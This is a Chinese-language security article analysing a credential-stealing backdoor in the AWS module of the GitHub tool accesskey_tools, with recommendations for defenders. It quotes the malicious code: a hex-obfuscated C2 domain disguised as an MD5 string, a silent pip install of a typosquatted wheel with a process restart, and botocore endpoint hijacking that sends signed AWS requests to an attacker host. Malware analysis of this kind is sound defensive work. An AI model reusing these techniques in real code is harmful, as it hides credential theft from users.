速查!高星云工具存在投毒隐患

admin 2026-06-12 04:36:25 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 公开资料显示,GitHub高星云渗透工具accesskey_tools的AWS模块存在恶意后门,通过域名伪装、静默安装仿冒包、劫持SDK端点三重技术窃取用户AWS凭证。关键发现包括:利用十六进制字符串隐藏C2域名api.aliyun-sdk-requests.xyz,通过pip静默安装恶意whl包,篡改botocore端点将含SigV4签名的请求转发至攻击者服务器。建议严审开源代码、禁用自动安装、使用最小权限凭证并监控异常出站流量。 综合评分: 95 文章分类: 漏洞分析,恶意软件,渗透测试,安全工具,供应链安全


cover_image

速查!高星云工具存在投毒隐患

原创

POP Star安全 POP Star安全

POP Star安全

2026年6月10日 19:00 广东

在小说阅读器读本章

去阅读

点击蓝字

关注我们

GitHub上多款

针对 AWS、阿里云

腾讯云 AccessKey 的渗透测试工具

被大量传播

本次审计对象为开源项目

accesskey_tools(500 Stars)

经代码分析确认

该工具 AWS 模块

存在恶意后门程序

攻击者通过代码混淆

动态加载依赖

篡改 SDK 访问端点等多重技术

在后台悄悄收集用户的

AWS AccessKey 和 SecretKey

并转发至自己控制的服务器

下文将完整剖析该后门技术细节,供安全从业者参考。

相关链接:https://github.com/kohlersbtuh15/accesskey_tools

1

工具集概况

工具集目录结构如下:

`accesskey_tools/

├── aliyun/          # 阿里云 ECS/RDS/OSS 利用脚本

├── aws/  # AWS EC2/IAM/S3/RDS 利用脚本  ← 后门所在

└── tencentcloud/    # 腾讯云 CVM/COS 利用脚本`

检测结论:

阿里云、腾讯云目录下的脚本均基于官方 SDK 开发,代码无异常,不存在数据泄露风险。AWS 目录内全部 7 个功能脚本均植入后门,通过同一链路窃取并外传账号凭证。

2

后门三重混淆技术分析

本次恶意后门采用三层递进式混淆构建攻击链路,从域名伪装、恶意组件静默部署到 SDK 端点劫持层层嵌套,隐蔽性极强,以下逐层拆解其实现逻辑与攻击手段。

第一层:

域名伪装—借哈希样式隐藏 C2 地址

aws/aws_select_iam.py第 50 行,存在一处极具迷惑性的变量定义:

`Python

iam_md5 = “16170692e616c6979756e2d73646b2d72657175657374732e78797a2f”`

变量名iam_md5结合 IAM 权限相关代码场景,极易被误判为 MD5 哈希校验字段,以此降低安全排查的警惕性。

该内容并非 MD5 哈希值,仅为十六进制字符串。剔除前缀混淆字符1,即截取iam_md5[1:]后,再执行解码操作。

`原始 hex(去掉首位”1″):

6170692e616c6979756e2d73646b2d72657175657374732e78797a2f

十六进制解码:

api.aliyun-sdk-requests.xyz/`

攻击者注册仿冒域名aliyun-sdk-requests.xyz,刻意模仿阿里云官方域名aliyuncs.com,极易混淆辨识。

第二层:

静默投毒—安装仿冒恶意 Python 包

文件aws_select_iam.py第 8-13 行包含自动部署恶意组件的逻辑,程序运行时会在后台静默安装第三方 Python 包,代码逻辑如下:

`Python

if importlib.util.findspec(“enumerateiam”) is None:

    subprocess.run(

        [sys.executable, “-m”, “pip”, “install”, “-qqq”,

         “–disable-pip-version-check”,

         “https://github.com/andresrianch/enumerate-iam/releases/download/1.0.2/aws_enumerateiam-1.0.2-py3-none-any.whl”],

        check=True)

    os.execv(sys.executable, [sys.executable] + sys.argv)`

核心细节说明

  1. 全静默安装:

-qqq为 pip 最高静默级别,屏蔽所有终端输出;搭配--disable-pip-version-check关闭版本检测提示,全程无任何运行痕迹

  1. 进程无感重启:

os.execv会在包安装完成后原地重启当前程序进程,保证恶意包立即生效,用户无法感知异常

  1. 仿冒开源项目:

恶意包托管于andresrianch账号,刻意模仿正规开源项目作者andresriancho(仅相差一个字母),利用名称相似度误导使用者

该恶意 whl 包内的get_client函数是后门核心载体,表面封装 boto3 客户端创建逻辑,实则预留接口,可通过components参数注入自定义 API 访问端点。

第三层:

端点劫持—篡改 AWS SDK 路由窃取凭证

依托前两层埋下的 C2 域名与恶意组件,攻击者利用botocore原生机制劫持 AWS 服务请求端点,以aws_list_ec2.py第 27-36 行代码为例:

`Python

from botocore.session import ComponentLocator

from enumerateiam.main import getclient

from awsselectiam import iam_md5

component = ComponentLocator()

component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])

iam_md5[1:] 解码后 = “api.aliyun-sdk-requests.xyz/”

ec2client = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’ec2′, sessiontoken=None,

                        region=RegionId, components=component)

ssmclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’ssm’, sessiontoken=None,

                        region=RegionId, components=component)`

代码通过ComponentLocator.register_component强行改写AWS_ENDPOINT配置,将解码后的恶意 C2 域名绑定为全局 API 端点。原本流向亚马逊官方*.amazonaws.com的EC2、SSM 等服务请求,会被全部重定向至攻击者服务器。

AWS 接口采用 SigV4 签名协议,每一条请求的请求头Authorization中,都包含由云账号AccessKeySecretKey生成的签名数据。攻击者拦截流量后,可从中解析、还原出完整的云账号凭证,造成账号权限泄露。

3

后门传播机制

该后门依托Python 导入(import)机制实现全工具集的链式传播,具体传播链路如下:

`awsselectiam.py        ← 后门核心(安装恶意包 + 定义iam_md5)

        ↑

        │ import awsselectiam

        │ from awsselectiam import iam_md5

        │

        ├── awslistec2.py

        ├── awsec2exec.py

        ├── awsec2exec_noinfo.py

        ├── awsurlconsole.py

        ├── awsdownloads3.py

        ├── awsselectrds.py

        └── awsselectroute53.py`

触发逻辑:

用户只要运行 AWS 目录下的任意一个脚本,就会自动触发对 aws_select_iam.py 的导入操作,进而执行恶意包安装流程,完成后门激活。

4

各 AWS 相关脚本后门行为详解

一、aws_select_iam.py

(核心后门脚本)

`# 第 69-71 行:使用恶意 get_client 创建 IAM 客户端

iamclient = getclient(accesskey=AccessKeyID, secretkey=AccessKeySecret,

                        servicename=’iam’, sessiontoken=None, region=None)`

客户端发起的 IAM 查询请求会被劫持并转发至攻击者 C2 服务器,最终造成IAM 身份凭证、云账户核心信息外泄。

二、aws_url_console.py

(高危级别,存在 STS 临时令牌泄露风险)

`# 第 78-82 行

component = ComponentLocator()

component.registercomponent(name=’AWSENDPOINT’, component=iam_md5[1:])

stsclient = getclient(accesskey=accesskeyid, secretkey=secretaccesskey,

                        servicename=’sts’, sessiontoken=None,

                        region=region, components=component)

第 84-87 行:获取联合身份临时凭证

resp = stsclient.getfederation_token(

    Name=”aws_consoler”,

    PolicyArns=[{“arn”: “arn:aws:iam::aws:policy/AdministratorAccess”}]

)

creds = resp[“Credentials”]`

此脚本风险等级最高,主要利用 STS 服务窃取高权限临时凭证:

第 78-82 行通过ComponentLocator注入恶意组件,篡改 AWS 服务访问端点,再调用恶意get_client构建 STS 客户端,将请求链路导向攻击者控制地址。

第 84-87 行调用get_federation_token接口,绑定管理员全权限策略(AdministratorAccess) 申请联合身份临时凭证。

接口返回的临时密钥(AccessKeyId、SecretAccessKey、SessionToken)会随请求流转至 C2。攻击者获取该组凭证后,可持有 AWS 管理员级临时权限,完全控制目标云账户。

三、aws_download_s3.py

(S3 存储凭证泄露)

`# 第 93 行:直接使用恶意 get_client 创建 S3 客户端

s3 = getclient(accesskey=AccessKeyID, secret_key=AccessKeySecret,

                servicename=’s3′, sessiontoken=None, region=None)`

脚本第 93 行借助恶意get_client创建 S3 服务客户端,所有针对 S3 存储桶的查询、读写等操作,都会经由恶意代理端点转发。

在数据交互过程中,S3 访问凭证会被窃取泄露

四、aws_list_ec2.py、aws_ec2_exec.py

(EC2 与 SSM 服务凭证泄露)

这两种脚本采用同类恶意实现逻辑,通过ComponentLocator强行注入 C2 恶意端点,分别初始化 EC2、SSM 服务客户端。所有服务请求均被劫持,进而导致EC2、SSM 相关访问凭证发生泄露

完整攻击链路图

`用户在 GitHub/论坛 下载 accesskey_tools

                    ↓

         运行任意 aws/ 目录下脚本

                    ↓

       触发 import awsselectiam

                    ↓

    检测 enumerate_iam 包是否存在

                    ↓ (不存在时)

  静默 pip install 恶意 whl(-qqq 无输出)

                    ↓

        os.execv 重启进程(无感知)

                    ↓

       enumerateiam.getclient 可用

                    ↓

  ComponentLocator 注入 C2 端点

  api.aliyun-sdk-requests.xyz/

                    ↓

  用户输入 AccessKeyID + AccessKeySecret

                    ↓

  boto3/botocore 使用被污染的 endpoint

  构造 AWS SigV4 签名请求

                    ↓

  ┌─────────────────────────────────────┐

  │  完整凭证(含签名)发往攻击者服务器   │

  │  api.aliyun-sdk-requests.xyz        │

  └─────────────────────────────────────┘

                    ↓

  工具正常返回查询结果(用户毫不知情)`

建 议

  1. 严审开源工具:使用前务必检查代码中的网络请求、动态安装、外部依赖及可疑编码(如十六进制字符串),避免盲目运行高星项目。
  2. 禁用自动安装:运行脚本前,隔离环境(容器/虚拟机)并阻断意外 pip 安装,或预先审查 import 链与 subprocess 调用。
  3. 加固凭证管理:切勿在测试工具中直接配置真实 AccessKey;优先使用 RAM 角色、临时凭证或最小权限策略,并启用审计日志。
  4. 监控异常流量:在云环境部署 egress 检测,对发往非官方域名(尤其是仿冒域名 .xyz 等)的 API 请求及时告警。
  5. 供应链防护:定期检查 Python 环境已安装包,验证来源哈希,避免依赖名称相似(如 enumerate_iam 仿冒)的恶意组件。

建议点赞 + 收藏

转发给你身边的运维、网安同事!!!

  • 关注我 –

  • 带你了解最新安全资讯 –

微信公众号 | @POP Star安全

快手 | @【深云智安】安全实验室

小红书 | @【深云智安】安全实验室

抖音 | @【深云智安】安全实验室

bilibili | @深云智安-安全实验室

以上就是本篇文章的技术细节

其实,每次写这类分析时,我都在想

单篇文章就像一张漏洞快照,有价值,但也相对孤立

真正的行业敏锐度,来自于漏洞背后的持续观察;海量告警的讨论分析;以及在真实环境中无数次历练形成的直觉。”

很难通过阅读单篇文章积累。

因此,我们构建了一个****

“注重实战交流”与“深度共享**

「知识星球」社区

目前星球已聚集了[52]名安全工程师、研究员和团队负责人。

我们刻意控制规模,并设有加入门槛,只为维持聚焦、务实、互信的交流氛围。

“安全是一个对抗性极强的领域,一个人闭门造车,视角终究有限。

如果你已不满足于碎片信息,渴望在一个高质量的环境中,构建可迁移的实战知识体系,并连接一群值得信赖的同行者,这里或许适合你。

PS.:为了确保大家目标一致,请务必阅读星球置顶的《社区公约》。

这是一个为深度学习和有效连接付费的社区。


更多内容

欢迎加入「网络安全技术交流群」免费分享>>

我们专注漏洞研究、攻防实战与代码审计。

群内定期分享技术动态、实战资源与本文相关的工具资料

让大家一起讨论、共同成长。

添加好友,备注「网络安全」获取入群邀请

更多问题1v1解答>>


点击阅读更多内容

代码审计

  1. 代码审计-PHP 篇(一)之从原理到实战的全景指南
  2. 代码审计-PHP 篇(二)之前台代码审计实战指南
  3. 代码审计-PHP 篇(三)之深度审计 SQL 注入漏洞
  4. 代码审计-PHP 篇(四)之文件操作类漏洞:深度剖析文件操作场景潜在风险
  5. 代码审计-PHP篇(五):洞悉风险,固守防线 — 文件读取漏洞深度解析与防护
  6. 代码审计-PHP篇(六)之文件删除漏洞:从任意删除到系统瘫痪的致命威胁

代码审计(实战篇)

  1. 『PHP代码审计』· 实战篇-熊海CMS代码审计(一)
  2. 『PHP代码审计』· 实战篇-熊海CMS代码审计(二)
  3. 『PHP代码审计』· 实战篇-熊海CMS代码审计(三)
  4. 『PHP代码审计』· 实战篇-BlueCMS代码审计
  5. 『PHP代码审计』· 实战篇-DeDeCMS代码审计
  6. 『PHP代码审计』· 实战篇-XdCMS代码审计

靶场搭建

  1. 铸器为刃——靶场搭建系列篇(一)
  2. 铸器为刃——靶场搭建系列篇(二)
  3. 铸器为刃——靶场搭建系列篇(三)
  4. 铸器为刃——靶场搭建系列篇(四)
  5. 铸器为刃——靶场搭建系列篇(五)
  6. 铸器为刃——靶场搭建系列篇(六)

环境搭建

  1. 工欲善其事必先利其器—环境搭建系列之基础工具篇一
  2. 工欲善其事必先利其器—『环境搭建系列之基础工具篇二
  3. 工欲善其事必先利其器—环境搭建系列之基础工具篇三
  4. 工欲善其事必先利其器—环境搭建系列之基础工具篇四
  5. 工欲善其事必先利其器——环境搭建系列之基础工具篇(五)
  6. 工欲善其事必先利其器——环境搭建系列之基础工具篇(六)

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:POP Star安全 POP Star安全 POP Star安全《速查!高星云工具存在投毒隐患》

实战sql盲注小技巧 网络安全文章

实战sql盲注小技巧

文章总结: 文档介绍在SQLServer盲注场景中,当目标存在杀软、EDR防护且仅DNS出网时,通过VBS脚本将命令执行结果转为十六进制格式,分段嵌入DNS请求
评论:0   参与:  0